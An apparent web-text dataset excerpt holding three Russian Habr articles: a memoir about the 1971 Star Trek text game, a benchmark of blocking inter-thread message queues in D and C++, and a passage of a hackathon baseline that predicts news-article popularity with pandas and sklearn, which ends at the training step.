text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Star Trek: текстовая игра 1971 года
Когда на хабре составляли список лучших игр всех времён и народов, в комментариях несколько раз [проскальзывала](http://habrahabr.ru/post/171853/#comment_5966111) [мысль](http://habrahabr.ru/post/171853/#comment_5973127), что тема превращается в список самых старых игр, которые можно вспомнить. И тогда я подумал, а что если действительно попытаться вспомнить самую первую игру, в которую я играл?
Может быть я ошибаюсь, ведь это было почти 30 лет назад, но мне кажется, что такой самой первой, и кстати, очень даже неплохой для того времени игрой, был [Star Trek](http://ru.wikipedia.org/wiki/Star_Trek_%28%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%B8%D0%B3%D1%80%D0%B0%29). Считается, что первоначальная версия была создана Майком Мэйфилдом (Mike Mayfield) в 1971 году, но я застал его в середине 80-х. Возможно сейчас процесс игры покажется уже не таким захватывающим, как тогда, поэтому я решил написать о нём исключительно по оставшимся воспоминаниям, и с небольшим использованием исходного кода.
Играл я в него на [СМ-3](http://ru.wikipedia.org/wiki/%D0%A1%D0%9C_%D0%AD%D0%92%D0%9C), имевшей весьма популярный тогда терминал Videoton VT340, у которого был черно-белый алфавитно-цифровой экран, отображавший 16 строк по 80 символов.
Сама игра по жанру — текстовый пошаговый космический симулятор, если можно так выразиться. Надо было за ограниченное время уничтожить все корабли клингонов, находящиеся в пределах игрового поля размером 8x8 квадрантов, каждый из которых в свою очередь разбит на 8x8 секторов.
Уничтожать их надо фазером и фотонными торпедами, запас которых можно пополнить на нескольких разбросанных по галактике базах. Фазер может уничтожить сразу несколько клингонов, особенно если они находятся близко, но на это требуется много энергии. Торпеды уничтожают их по одному, и энергия на это не расходуется, зато нужно точно прицеливаться. Помню, скорость вывода координат полёта торпеды на дисплей была невелика, и можно было наблюдать за процессом, как будто это происходило в реальном времени.
В распоряжении капитана имеется компьютер, который может рассчитать курс корабля или торпеды. Однако он, как и любая другая система, может быть поврежден в бою, и тогда курс придётся считать самому. Еще большие сложности возникают, если на пути оказывается звезда, и надо попасть в нужный сектор с первого раза, обогнув её, иначе корабль обстреляют клингоны, когда ход перейдет к ним. Вот пример такой ситуации:
Компьютер препятствия не учитывает, а для определения «на глаз» правильного курса, чтобы торпеда прошла мимо звезды, но попала в клингона, требуется большое мастерство. Направления задавались весьма необычным образом, в полярных координатах с углом от 1 до 9. Те, кто играли, наверняка помнят. Еще в игре было защитное поле, которым можно было управлять.
Со времени создания до конца 80-х годов было очень много разных версий игры. Были усложненные варианты, с новыми типами объектов и врагов. Были версии на бейсике, фортране, коболе и других языках, для практически всех видов компьютеров, существовавших тогда. Версия, в которую я играл, была классической, лишь немного изменённой и кем-то переведённой на русский. Сейчас от неё сохранился только листинг, распечатанный для переноса на появившийся примерно в то время Радио86РК-совместимый компьютер, чтобы можно было (просто невероятно!) играть дома.
Как видите, некоторые иголки сломаны, и в принтере использовалась двухцветная, красно-черная лента, которая то ли из-за неполадки, то ли из-за того, что она не от того принтера, частично окрашивала буквы снизу красным цветом.
Возможно, среди читателей найдутся те, кто играл в эту самую версию, или даже те, кто её переводил, привожу здесь несколько запоминающихся фраз:
**Сообщения из русского Star Trek'а**Коэффициент искривления пространства (0-8)
Прапорщик Зинин докладывает: «Неверный курс, капитан!»
Двигатели заглохли в секторе 1, 4! Ошибка навигации
Офицер-ученый Гриць докладывает: «приборы показывают отсутствие вражеских кораблей в этом квадранте.»
150 единиц энергии ударило по кораблю из сектора 6, 3
(защитное поле упало до 562 единиц.)
\*\*\* Локаторы ближнего обзора неисправны \*\*\*
Техники настаивают на ремонте вашего корабля
Приблизительное время на ремонт: .4 звездных дней
Разрешаете ли вы ремонт?
Были конечно и другие игры, но все алфавитно-цифровые, кроме того, межстрочное расстояние видеотона довольно велико и для игр не приспособлено. Большинство игр было как Star Trek, пошаговыми, но были исключения, например, тетрис. Такие игры мы называли тогда «динамическими». Это означало, что действие происходит постоянно, не ожидая реакции игрока с клавиатуры.
А еще у меня была распечатка с экрана неведомого графического компьютера, находившегося где-то в недоступном месте. Как оказалось, и она сохранилась в шкафу до сих пор:
Мне удалось вспомнить название игры: «Шериф», благодаря чему [нашлась статья](http://www.old-games.ru/articles/53651.html), написанная в 2012 году, о создателях этих игр. Может быть кому-то тоже напомнит старые добрые времена, вот некоторые скриншоты из той статьи, сделанные с эмулятора:
**Скрытый текст**Pif-Paf
Garden
Land
В те времена графические игры казались чем-то невероятным. О том, что они когда-то станут цветными, можно было только мечтать. Как я уже сказал, поиграть я в эти игры не мог, и мне оставалось только смотреть на распечатку и представлять, как это может выглядеть в движении.
Но вернемся с Star Trek'у. Написав статью, я решил всё-таки попытаться в него поиграть. Пользуясь листингом, нашёл версию, наиболее близкую к той, что у меня была в 80х, и после небольшой коррекции она запустилась. Я начал играть, понемногу привыкая к давно забытой обстановке. Когда очередная торпеда, несмотря на рассчитанный компьютером курс, вдруг полетела не в ту сторону, я заподозрил неладное. А когда чуть позже запуск двигателя завершился ошибкой (выход за границы массива), это стало ясно окончательно.
Оказалось, что в версии, опубликованной в 1978 году в книге "[101 игра на бейсике](http://www.atariarchives.org/basicgames/showpage.php?page=160)", с которой, видимо, и были набраны все ходившие по стране версии, была ошибка. При индексации массива для вычисления курса корабля и торпед, вещественное значение округляется, хотя автор ожидал, что оно будет усекаться. Эти строки видны на скане страницы, приведённой выше.
```
3110 X1=C(C1,1)+(C(C1+1,1)-C(C1,1))*(C1-INT(C1))
3140 X2=C(C1,2)+(C(C1+1,2)-C(C1,2))*(C1-INT(C1))
```
В результате, если дробная часть заданного курса больше 0.5, направление вычисляется неверно, а если он больше 8.5, возникает ошибка. 30 лет назад мы так и играли. Сначала думали, что это такая особенность игры, вносящая дополнительные сложности, а потом это нашли и исправили, но я об этом совершенно забыл. Что интересно, в исходной версии 1972 года этой ошибки не было.
Я исправил программу и снова начал игру. Хотя были и сюрпризы, всё шло примерно так, как мне запомнилось с прежних времён. В битве с тремя клингонами повредился компьютер, и я честно вычислял курсы для торпед в уме. В самый нужный момент сломались двигатели, пришлось тащиться через несколько квадрантов, теряя время. Хотя перед началом игры я слегка увеличил отведённый на задание срок, он быстро таял, и к концу облёта галактики у меня оставалось всего несколько звёздных дней.
При перелёте в квадрант с предпоследним клингоном сломались фотонные торпеды, и пришлось задействовать фазер. Пока я добрался до последнего врага, пусковой аппарат починили, но как на зло, точно на линии огня оказалась звезда, и воспользоваться торпедой не получилось. Пришлось истратить остатки энергии на последний фазерный удар. Последний боевой крейсер клингонов уничтожен, федерация спасена! Так через много лет успешно завершился еще один звёздный бой.
Желаю удачи тем, что захочет вернуться в прошлое, в Star Trek или другую вашу первую игру, ведь найти её и заставить заработать сегодня не менее интересно, чем собственно поиграть. | https://habr.com/ru/post/176125/ | null | ru | null |
# Передача сообщений между потоками. Классические блокирующие алгоритмы
Когда-то я вылез из песочницы с совочком в руке и [постом](http://habrahabr.ru/post/209824/) о неблокирующих очередях и передаче данных между потоками. Тот пост был не столько об алгоритмах и их реализации, сколько об измерении быстродействия. Тогда же мне в комментариях [задали](https://habrahabr.ru/post/209824/#comment_7226498) совершенно [резонный](https://habrahabr.ru/post/209824/#comment_7226846) вопрос об обычных, блокирующих алгоритмах передачи — насколько они медленнее и вообще как выбрать оптимальный алгоритм под конкретную задачу.
Я конечно обещал и с энтузиазмом принялся за дело, даже получил забавные результаты, однако… какой-то изюминки не хватало, выходило скучно и плоско. В результате мой внутренний перфекционист обьединился с моим нескрываемым прокрастинатором и вдвоем они меня одолели, пост надолго осел в черновиках и даже совесть уже не вздрагивала при виде забытого заголовка.
Однако все меняется, появляются новые технологии, старые исчезают в архивах, и я вдруг решил что пришло время отдавать долги и сдерживать обещания. В качестве наказания мне пришлось все переписать с нуля, если скупой платит дважды, то ленивый дважды переделывает, так мне и надо.
Да, за КДПВ извиняюсь — оно конечно совсем из другой предметной области, но для иллюстрации взаимодействия между потоками подходит тем не менее идеально.
##### **Так что же разбудило Герцена?**
Подтолкнулo меня к действию знакомство с **языком D**не надо продолжать аналогию, я вовсе не хотел сказать что он страшно далек от народа — чрезвычайно концептуально красивым языком, унаследовавшим и мощно двинувшим вперед идиомы C++ и при этом сохранившим эффективные низкоуровневые инструменты, вплоть до указателей. Возможно из-за этого на мой взгляд в стандартной библиотеке D есть некоторая раздвоенность — большинство функционала можно вызвать или из коробки, простым и легким способом, или через приближенный к нативному интерфейс, зато полностью используя ресурсы и возможности системы. Если C++ перекрывает непрерывным спектром весь диапазон, то в D обычно хорошо заметно такое разделение. Посмотрите сами: нужно измерить интервал времени, есть замечательный модуль [std.datetime](http://dlang.org/phobos/std_datetime.html), однако квант измерения — 100 нс, что мне совершенно недостаточно, пожалуйста — есть не менее замечательный модуль — [core.time](http://dlang.org/phobos/core_time.html). Не устраивает облегченный до предела яваподобный [std.concurrency.spawn](http://dlang.org/phobos/std_concurrency.html#.spawn) — можете использовать весь букет из [core.thread](http://dlang.org/phobos/core_thread.html). И так практически везде, за исключением одного, но чрезвычайно важного места — разделения данных между потоками. Да, да, все локальные для данного потока переменные размещаются в thread local storage и никакими силами нельзя заставить другой поток увидеть их адрес. А для обмена данными предусмотрены встроенные очереди, надо признать очень удобные — полиморфные, с возможностью внеочередной посылки важных сообщений и чрезвычайно приятным интерфейсом. Посылать данные через них можно естественно или by value, или неизменяемые (immutable) ссылки. Я, когда об этом прочитал первый раз, просто подпрыгнул от возмущения — «Да как же рука ваша поганая поднялась...» — а потом задумался, припомнил свои проекты за последние годы и признал — да, весь обмен между потоками проходит по такой схеме, а то что не проходит — явная ошибка дизайна.
И тем не менее вопрос повис в воздухе — насколько эффективны очереди в D? Если нет, то это сводит на нет всю прочую эффективность языка, этакое встроенное бутылочное горлышко. Вот так я проснулся и снова взялся за измерения.
##### **Что же конкретно мы будем мерить?**
Вопрос на самом деле непростой, я об этом писал и в прошлый раз и пожалуй повторюсь. Обычный «наивный» подход, когда посылают N сообщений, замеряют общее время и делят на N **не работает**. Давайте разберемся, мы меряем *производительность очереди*, так? Следовательно можно считать что в процессе измерения скорость *генератора сообщений* и *приемника сообщений* *стремится к бесконечности*, при разумном предположении что внутри очереди данные *не копируются*, оказывается выгодным *поместить как можно больше данных* в очередь, потом *выполнить однократную передачу* некоторого внутреннего указателя и все, данные уже там. При этом *среднее время на сообщение* будет падать как 1/N (на самом деле ограничено снизу временем вставки/удаления, которое может составлять единицы наносекунд) тогда как *время доставки* каждого сообщения в теории остается постоянным, и даже растет как O(N) на практике.
Вместо этого я использую противоположный подход — каждое сообщение посылается, замеряется время и только потом посылается следующее (*latency*). Как следствие, результаты представляются в виде гистограмм, по оси X — время, по оси Y — число пакетов доставленных за это время. Наиболее интересны численно два параметра — медианное среднее время распределения и процент сообщений не уложившихся в некоторый (произвольный) верхний предел.
Строго говоря, такой подход тоже не вполне адекватен, тем не менее он гораздо точнее описывает требования к быстродействию. Я немножко позанимаюсь самокритикой в заключении, пока только скажу что полное описание включало бы генерацию всех возможных видов трафика и анализ его статистическими методами, получилась бы полноценная научная работа из области теории QA, или скорее меня бы настиг очередной приступ прокрастинации.
Еще один момент, упоминаю об этом потому что прошлый раз были долгие дебаты, генератор сообщений может вставлять их в очередь сколь угодно быстро, но при условии что получатель **в среднем** успевает их извлекать и обрабатывать, иначе все измерение просто лишено смысла. Если ваш принимающий поток не успевает обрабатывать поток данных, надо сделать код быстрее, распараллелить обработку, изменить протокол сообщений, но в любом случае сама очередь здесь не причем. Вроде бы мысль простая, однако прошлый раз пришлось повторять несколько раз в комментариях. Флуктуации скорости, когда вдруг в очереди оказывается много сообщений, вполне возможны и даже неизбежны, это как раз один из факторов который хорошо спроектированный алгоритм должен сглаживать, но это возможно только если максимальная скорость приема больше средней скорости посылки.
##### **Начнем-с**
Это что? А это собственно результат, все мои труды уложились в одну картинку, зато я сейчас буду долго обьяснять что и зачем здесь нарисовано.
##### **[Розовый. Стандартный механизм D](https://github.com/sdegtiarev/mque/blob/master/que_b.cc)**
5 микросекунд, это много или мало? Практически во всех случаях это мало (то есть это очень хорошо). Для подавляющего большинства реальных проектов это более чем достаточное быстродействие, более того, еще не так давно такое время передачи можно было получить только при помощи специального железа и/или очень специального софта. Здесь же мы имеем инструмент из стандартной библиотеки, со множеством других вкусных плюшек и достаточно быстрый для всех практических нужд. Оценка — отлично. Но однако не великолепно, потому что этой реализации присущи некоторые недостатки не связанные с быстродействием, я расскажу об этом в ругательной части.
Еще раз с удовольствием убеждаемся что главная магия программирования — в отсутствии какой-либо магии. Если залезть под капот (разумеется я не мог не заглянуть), увидим что код совершенно обычный — односвязные списки защищенные мьютексами. Я даже не стану здесь его приводить потому что в смысле реализации очереди он ничего нового нам не скажет. Зато те немногие кому действительно нужны более быстрые алгоритмы, включая неблокирующие, могут легко написать свой собственный вариант убрав все удобные но замедляющие плюшки. Зато свой код я приведу, просто чтобы показать насколько D все таки лаконичный и выразительный язык.
**код для иллюстрации**
```
import std.stdio, std.concurrency, std.datetime, core.thread;
void main()
{
immutable int N=1000000;
auto tid=spawn(&f, N);
foreach(i; 0..N) {
tid.send(thisTid, MonoTime.currTime.ticks);
// wait for receiver to handle message
receiveOnly!int();
}
}
void f(int n)
{
foreach(i; 0..n) {
auto m=receiveOnly!(Tid,long)();
writeln(MonoTime.currTime.ticks-m[1]);
// ask for the next message
m[0].send(0);
}
}
```
##### **[Синий. Лютый и неприкрытый C++.](https://github.com/sdegtiarev/mque/blob/master/que_c0.cc)**
400 наносекунд! Бинго! Побоку все неблокирующие и прочие хитрые алгоритмы! Или все таки нет?
Нет конечно, это грубая провокация, дело в том что в этом варианте читающий поток никогда не засыпает, продолжает в цикле непрерывно проверять очередь на пришедшие сообщения. Такой вариант работает пока вашим CPU просто нечем больше заняться, как только только появляются конкурирующие процессы, особенно если они так же безалаберно относятся к разделяемым ресурсам, все начинает непредсказуемо проскальзывать. Да, есть вариант с принудительным назначением одного из ядер для обслуживания этого потока, однако архитектурно это **очень плохое** решение, я вернусь к этому попозже. Есть места где это оправданно или даже необходимо, однако если вы в таком месте работаете, вы наверняка уже все сами знаете, для вас этот пост совершенно лишний.
Однако мы получили важную информацию — на современных системах скорость транзакций определяется вовсе не скоростью мьютексов или копирования данных, главный фактор — wake up time для потока после вынужденной или добровольной паузы. Отсюда мораль — если вы не хотите или не можете себе позволить dedicated CPU для обработки сообщений из очереди, подумайте дважды прежде чем использовать быстрые и сложные но неудобные в использовании решения, потери на подстраивание под них архитектуры приложения почти стопроцентно перевесят тот незначительный выигрыш, который вносит сам алгоритм во время транзакции. И, да, здесь я имею ввиду **boost::lockfree**это образцовый пример реализации неблокирующей очереди, однако тип сообщения обязан иметь *тривиальные деструктор и оператор присваивания*, условие настолько жестокое для C++ что я собственно так ни разу и не довел код до конечного продукта.
Так что же можно сделать оставаясь в рамках разумного?
##### **[Красный. Разумный и взвешенный C++.](https://github.com/sdegtiarev/mque/blob/master/que_c3.cc)**
Если кому-то пришел на ум *usleep()* и ему подобные — забудьте, вы гарантированно увеличиваете время отклика до минимум 40 микросекунд, это лучшее что современное ядро может гарантировать. Немногим лучше *yield()*, он, хотя и неплохо работает на малых загрузках, имеет тенденцию делиться процессорным временем с кем попало. **Это все из-за котиков разумеется**Опыт показывает, что на каждом сервере имеется хотя бы один процесс отрисовывающий в данный момент котиков, и он не отдаст CPU никому пока все котики в инете не будут тщательно отрисованы и залайканы Выход один и он очевиден — использовать *std::condition\_variable*, благо что мьютексы для синхронизации у нас уже используются и изменения в коде будут минимальными. В таком варианте получатель засыпает на переменной если очередь пуста, а генератор сообщений посылает сигнал если подозревает что партнер может спать. В этом случае ядро имеет все возможности для оптимизации и мы получаем результат, 3 микросекунды. Это уже можно сказать что ого, мы наступаем буквально на пятки всяким хитрым реализациям, при этом базовый код крайне прост и его можно адаптировать под все случаи жизни. Никакой полиморфизм здесь конечно и не ночевал как в D, зато и получилось почти в два раза быстрее. Без шуток, это вполне реальный конкурент неблокирующим алгоритмам.
##### **[Зеленый. Мастштабируемость, масштабируемость.](https://github.com/sdegtiarev/mque/blob/master/que_b.cc)**
А это архитектурное решение которое я долго искал и вынашивал, хотя результат выглядит крайне просто. Часто спрашивают, сколько максимально сообщений в секунду можно передать через очередь и тому подобные вещи, забывая что противоположная ситуация случается не менее часто — пусть у нас имеется некоторое количество потоков, которые занимаются своим делом и время от времени должны посылать сообщения, не слишком часто, но важных. Мы не хотим на каждый такой поток вешать отдельного слушателя, который все равно будет по большей части спать, значит придется создать один общий центр обработки, который будет опрашивать все очереди и обслуживать сообщения по мере поступления. Но поскольку у нас сегодня не вечер длинного кода, а вечер коротких концептуальных фрагментов, я предлагаю использовать *boost::asio*, в качестве огромного бонуса этот же поток может обслуживать еще и сокеты и таймеры. Здесь, кстати, можно было бы легко обойтись вообще без очереди, захватывая данные прямо в передаваемой функции, очередь служит скорее как агрегатор и буфер для данных, ну и для смысловой связки с предыдущими примерами.
И что же мы получаем? 4.3 микросекунды на процессе из только одного генератора, совсем даже неплохо. Надо учитывать что результат неизбежно ухудшится в системе где много потоков одновременно пишут сообщения, однако масштабируемость практически ничем неограничена и это многого стоит.
Еще раз хочу подчеркнуть в чем философский смысл этого фрагмента — мы пересылаем в другой поток не просто данные, а данные плюс функтор, который сам знает как с ними работать, что-то вроде межпоточной виртуальности. Это настолько общая концепция, что могла бы наверное претендовать на звание отдельного design pattern.
---
На этом экспериментальная часть заканчивается, если нужен код всех тестов то [вот он](https://github.com/sdegtiarev/mque). Осторожно, это не готовая библиотека, так что бездумно копировать не советую, однако может служить вполне годным тьюториалом для разработки своего кода. Дополнения и улучшения приветствуются.
##### **Разные рассуждения, по делу и не очень.**
Зачем вообще нужны очереди сообщений? Как нас учит пример D, это самый кошерный паттерн для проектирования многопоточных систем, за которыми будущее, значит будущее и за очередями тоже. Но все ли очереди одинаковы? Какие есть варианты и в чем различия? Вот об этом и поговорим.
Во первых нужно различать *потоки данных* и *потоки сообщений*. С потоками данных все сравнительно просто, каждый переданный фрагмент не несет смысловой нагрузки и границы между фрагментами достаточно произвольны. Расходы на копирование сравнимы или превосходят ресурсы потребляемые собственно очередью и рецепт в этом случае крайне простой — увеличивайте внутренний буфер насколько можно, получите просто невероятную скорость. Квант данных, большой файл например, можно считать одним сообщением, настолько большим что оно чисто технически не может быть передано за один раз. Ну и все, больше об этом сказать наверное и нечего. А вот в потоке сообщений каждый следующий фрагмент несет законченную порцию информации и должен вызвать немедленную реакцию, о них-то мы сегодня и говорим.
Еще бывает полезно проанализировать архитектуру с точки зрения *связности*, что с чем соединяется. Простейший тип -«труба», соединяет два потока, писателя и читателя, его главное назначение — обеспечить развязку входного и выходного потоков, в идеале ни один из них не должен знать о проблемах другого. Второй атомарный тип очереди — «воронка», куда произвольное количество потоков могут писать, но только один читает. Это наверное наиболее востребованный случай, простейший пример — логгер. И вообще-то это все, обратный случай, когда один поток пишет и несколько читают, реализуется с помощью пучка «труб» и поэтому не является атомарным, а если вам вдруг понадобилась очередь куда кто угодно может писать и кто угодно из нее читать то я очень посоветовал бы пересмотреть свое отношение к жизни вообще и к проектирования многопоточных систем в частности.
Возвращаясь к развязке входного и выходного потоков, отсюда неизбежно следует вывод что идеальная очередь должна быть **безразмерной**, то есть при необходимости вмещать в себя *бесконечно много* сообщений. Простой пример: пусть крайне важный и ответственный поток хочет записать коротенькое сообщение в лог и вернуться к своим крайне важным делам. Однако лог у нас построен на основе очереди с буфером фиксированного размера, и вот только что кто-то скинул туда «Войну и мир» в полном объеме. Что делать? Блокировать вызывающий поток такая низкоприоритетная задача как логгер не должна, возвращать ошибку или исключение — крайне нежелательно с архитектурной точки зрения (мы перекладываем ответственность на вызывающую функцию, мы обязуем ее отслеживать все возможные исходы, мы крайне усложняем вызывающий код и вероятность ошибки, а взамен не получаем ничего — что делать-то все равно не ясно). И вообще, к чему были все эти разговоры о неблокирующих очередях, если оно вот прямо тут на наших глазах заблокированное лежит?. Именно поэтому я уже упоминал что стандартные очереди D не являются универсальным решением для межпоточного взаимодействия, более того, неблокирующий boost::lockfree::queue в одном из вариантов тоже использует фиксированный буфер и не является на самом деле неблокирующей очередью, хотя и использует неблокирующий алгоритм.
К счастью, оперативная память нынче — один из самых дешевых ресурсов, поэтому видимо самой оптимальной среди универсальных будет **адаптивная стратегия** — память при необходимости выделяется из кучи (большими кусками ~~чтоб два раза не бегать~~) и никогда не освобождается, таким образом размер очереди подстраивается под всплески трафика и, при нормальной статистике, обращение к аллокатору происходит все реже. Опыт показывает что даже на серверах средней руки такой подход легко дает несколько часов форы, за которые можно успеть что-нибудь починить, дотянуть до плановой остановки, ~~или хотя бы подыскать другую работу~~.
Ну и последнее — статистическая природа трафика. Про отличие передачи данных и передачи сообщений я уже говорил, но сообщения тоже могут иметь разное по времени распределение. Как ни странно, наиболее легкий случай если данные приходят максимально быстро (но не быстрее чем мы их успеваем из очереди вынимать), но при этом равномерно. При этом максимально эффективно работают различные ускорители, от спинлоков до встроенных в систему средств. Сложнее случай когда в потоке сообщений происходят мощные всплески, которые гарантированно превосходят скорость обработки. В этом режиме очередь должна эффективно накапливать приходящие сообщения, выделяя при необходимости память и не допуская при этом значительного замедления. **Именно тут я смухлевал** в тестах, сообщения посылаются строго по одному и я никак не исследовал ни поведение очередей D при блокировке на записи, ни поведение C очередей при необходимости аллоцировать память. Еще я никак не исследовал взаимное влияние и борьбу за ресурсы нескольких потоков, особенно когда их становится больше чем физических CPU. По обьему это легко тянет на отдельный пост. Однако самый возможно тяжелый режим — когда сообщения приходят *очень* редко, но требуют немедленной реакции. За такое время может произойти что угодно, включая выпадение в своп. Если при нормальном распределении интервалов такие события случаются редко и попадают в те доли процента которые мы отбросили в тестах, то в этом случае эффективность может упасть на порядки.
###### **Неполный список граблей в ассортименте.**
* **Соблюдайте баланс записи и чтения**: если читающий поток не справляется, никакой алгоритм вас не спасет. Делайте что хотите чтобы его ускорить, только очередь в этом не вините.
* **Кумулятивное замедление**: бывает что для некоторых реализаций скорость очереди зависит от числа сообщений в ней, тогда случайный всплеск активности может замедлить очередь настолько, что она не освободится до следующего всплеска, примерно как затор на дороге. Такую неустойчивость довольно сложно смоделировать при тестировании.
* **Синдром ночного сторожа**: иногда сообщения приходят очень редко, раз в час или даже раз в день, с точки зрения ОС это все равно вечность. Если сторож на посту сидит и ждет сигнала тревоги, а сигнала ни разу не было за всю его жизнь, чем он будет занят в критический момент? С таким спонтанным засыпанием трудно бороться.
* **Учитывайте хвост распределения**: в приведенных тестах 2-3 сообщения на 1000 обрабатывались аномально долго, это общая черта для всех ОС общего назначения. Если вам вдруг надо еще понизить это число, придется крепко потрудиться.
* **Не рассчитывайте на выделенные CPU**: это мощный ускоряющий фактор, но абсолютно не масштабируемый. В отличие от памяти, CPU — дорогой ресурс. Даже если в вашей системе 100500 ядер, обязательно найдется 100500+1 разработчиков желающих себе одно **в личное пользование.** Тот самый ПМ который год назад сам предлагал зарезервировать ядро на ускорение очередей теперь заглянет в душу честными голубыми глазами и скажет — «Ко мне тут ребята из фронтенда приходили, у них на главной странице логотип компании некрасивыми рывками перерисовывается. Просят выделить им одно из ядер, ты же понимаешь — это серьезно и всем видно, даже заказчик на днях внимание обратил. А твой сервер и так вроде работает, да и все равно его никто не видит». Если такое случится, рекомендую глубоко вдохнуть и медленно досчитать до десяти, иначе разрушения и жертвы неизбежны.
* **есть много чего еще**: но я забыл что именно
---
Заканчивать принято на оптимистичной ноте: за многопоточностью не то чтобы будущее, скорее настоящее. А за мощными, гибкими и универсальными механизмами обмена сообщениями — будущее, но они еще толком не написаны, видимо нас ждут.
Всем успехов. | https://habr.com/ru/post/211717/ | null | ru | null |
# Разбор базового решения для задачи «Радар тенденций новостных статей» с Цифрового Прорыва
Радар тенденций новостных статей по мнению ruDALL-E KandinskyПривет, Хабр!
Это одна из трех статей, в которых я (автор канала [Зайцем по ХаХатонам](https://t.me/hahatons)) рассказываю о задачах [Всеросийского чемпионата Цифрового Прорыва](https://hacks-ai.ru/championships/758453), объясняю базовые решения (baseline) и даю советы, которые помогут подняться выше по рейтингу. В данной статье будет рассмотрен кейс от РБК по предсказанию численных характеристик, которые в полной мере показывают популярность статьи.
Спойлер: в конце статьи есть советы для улучшения базового решения.
Цифровой Прорыв
---------------
Думаю, все и так знают, что такое [Цифровой Прорыв](https://hacks-ai.ru). Однако, напомню, что в этом году основной тематикой стал искусственный интеллект. И сезон этого года в самом разгаре!
Хоть часть мероприятий уже прошла, впереди участников ждет ещё 19 региональных чемпионатов, 5 окружных хакатонов и 3 всероссийских чемпионата. Советую присоединиться ко мне и другим участникам, чтобы не упустить возможность выиграть денежные призы и крутые путешествия, а также набраться опыта на самых разных задачах.
Введение
--------
Фраза “в нужный момент в нужном месте” хорошо описывает положение авторских текстов. Иногда качественно написанная статья проходит мимо своей потенциальной аудитории из-за более актуальных тем дня или неудачного заголовка.
Хорошо, что алгоритмы ИИ активно продвинулись в анализе текста и способны в автоматическом режиме анализировать и вычленять тенденции, а имея большой набор данных, можно научиться предсказывать их наперед.
Разумеется, что есть такие общемировые темы, которые невозможно предсказать, как, например, пандемия “коронавируса” или застрявший контейнеровоз, тем не менее исследования специалистов показывают, что в обществе есть тенденции, которые приходят и уходят в фиксированный временной период.
Условие задачи
--------------
У компании РБК довольно взрослая аудитория, которую она хочет расширить за счет добавления статей на актуальные темы. Для этого вам нужно проанализировать лучшие новости российских СМИ и научиться предсказывать их популярность. Ожидается, что для этого будут использованы NLP модели.
### Данные
* *train.csv* — файл для обучения, содержит 7000 строчек, каждая из которых представляет из себя одну новостную статью
* *test.csv* — файл, содержащий 3000 строк, для предсказания
* *sample\_solution.csv* — пример файла для отправки
В наборе данных присутствует уникальных 11 строк:
* *document id* - идентификатор
* *title* - заголовок статьи
* *publish\_date* - время публикации
* *session* - номер сессии
* *authors* - код автора
* *views* - количество просмотров
* *depth* - объем прочитанного материала
* *full\_reads percent* - процент читателей полностью прочитавших статью
* *ctr* - показатель кликабельности
* *category* - категория статьи
* *tags* - ключевые слова в статье
### Метрика
Цель модели участников — предсказать 3 численные характеристики, которые в полной мере показывают популярность статьи: *views*, *full reads* *percent*, *depth*.
Для оценки качества решения используется метрика R2.
𝑟𝑒𝑠𝑢𝑙𝑡 = 0. 4 \* 𝑅2𝑣𝑖𝑒𝑤𝑠 + 0. 3 \* 𝑅2𝑓𝑢𝑙𝑙 𝑟𝑒𝑎𝑑𝑠 𝑝𝑒𝑟𝑐𝑒𝑛𝑡 + 0. 3 \* 𝑅2𝑑𝑒𝑝𝑡h
Подробно о решении
------------------
### Методология решения
Решение данной задачи включает в себя два этапа:
1. Подготовка и предобработка данных
2. Обучение регрессионной модели
### Какие библиотеки нам нужны
Для данного решение нам понадобится всего две библиотеки *pandas* и *sklearn.* Соответственно, импортируем их и нужные нам функции
```
import pandas as pd
from sklearn.metrics import r2_score
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestRegressor
from sklearn.datasets import make_regression
```
### Загрузка данных
Далее загрузим тренировочный и тестовый наборы данных. И выведем информацию о датасете.
```
df_train = pd.read_csv("/content/train.csv", index_col= 0)
df_test = pd.read_csv("/content/test.csv", index_col= 0)
df_train.info()
```
В информации о датасете можно заметить наличие временных и категориальных признаков, которые нельзя подать в модель напрямую.
```
Data columns (total 10 columns):
# Column Non-Null Count Dtype
--- ------ -------------- -----
0 title 7000 non-null object
1 publish_date 7000 non-null object
2 session 7000 non-null object
3 authors 7000 non-null int64
4 ctr 7000 non-null float64
5 category 7000 non-null int64
6 tags 7000 non-null object
7 views 7000 non-null int64
8 depth 7000 non-null float64
9 full_reads_percent 7000 non-null float64
dtypes: float64(3), int64(3), object(4)
```
### Преобразования данных
В следующем шаге мы закодируем категорию статьи и автора в численное представление. Из временного признака - даты публикации, необходимо извлечь информацию о дне и месяце.
```
df_train["category"] = df_train["category"].astype('category')
df_train["category"] = df_train["category"].cat.codes
df_train["category"] = df_train["category"].astype('int')
df_train["authors"] = df_train["authors"].astype('category')
df_train["authors"] = df_train["authors"].cat.codes
df_train["authors"] = df_train["authors"].astype('int')
df_train['day'] = pd.to_datetime(df_train['publish_date']).dt.strftime("%d").astype(int)
df_train['month'] = pd.to_datetime(df_train['publish_date']).dt.strftime("%m").astype(int)
df_train.head(3)
```
Как выглядят данные после преобразованияПроделаем те же самые операции с тестовым набором данных.
```
df_test["category"] = df_test["category"].astype('category')
df_test["category"] = df_test["category"].cat.codes
df_test["category"] = df_test["category"].astype('int')
df_test["authors"] = df_test["authors"].astype('category')
df_test["authors"] = df_test["authors"].cat.codes
df_test["authors"] = df_test["authors"].astype('int')
df_test['day'] = pd.to_datetime(df_test['publish_date']).dt.strftime("%d").astype(int)
df_test['month'] = pd.to_datetime(df_test['publish_date']).dt.strftime("%m").astype(int)
df_test.head(3)
```
Тестовый набор данных
Можно заметить отсутствие таргетных колонок### Визуализация данных
Для лучшего понимания данных стоит взглянуть на распределение отдельных признаков.
```
features = list(set(df_train.columns) - set(['publish_date']))
_ = df_train[features].hist(figsize=(20,12))
```
Гистограммы распределения признаков### Подготовка данных для обучения модели
Для начала разделим датасет по столбцам, в *X* пойдут столбцы с признаками, в *y* таргетные столбцы.
```
X = df_train.drop(["views","depth","full_reads_percent","title","publish_date", "session", "tags"], axis = 1)
y = df_train[["views","depth","full_reads_percent"]]
X.head()
```
Так выглядит датасет для обучения (X)Следующим шагом будет разделение *X* и *y* на тренировочную и валидационную части при помощи функции *train\_test\_split* из библиотеки *sklearn*.
```
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)
```
### Обучение и тестирование модели
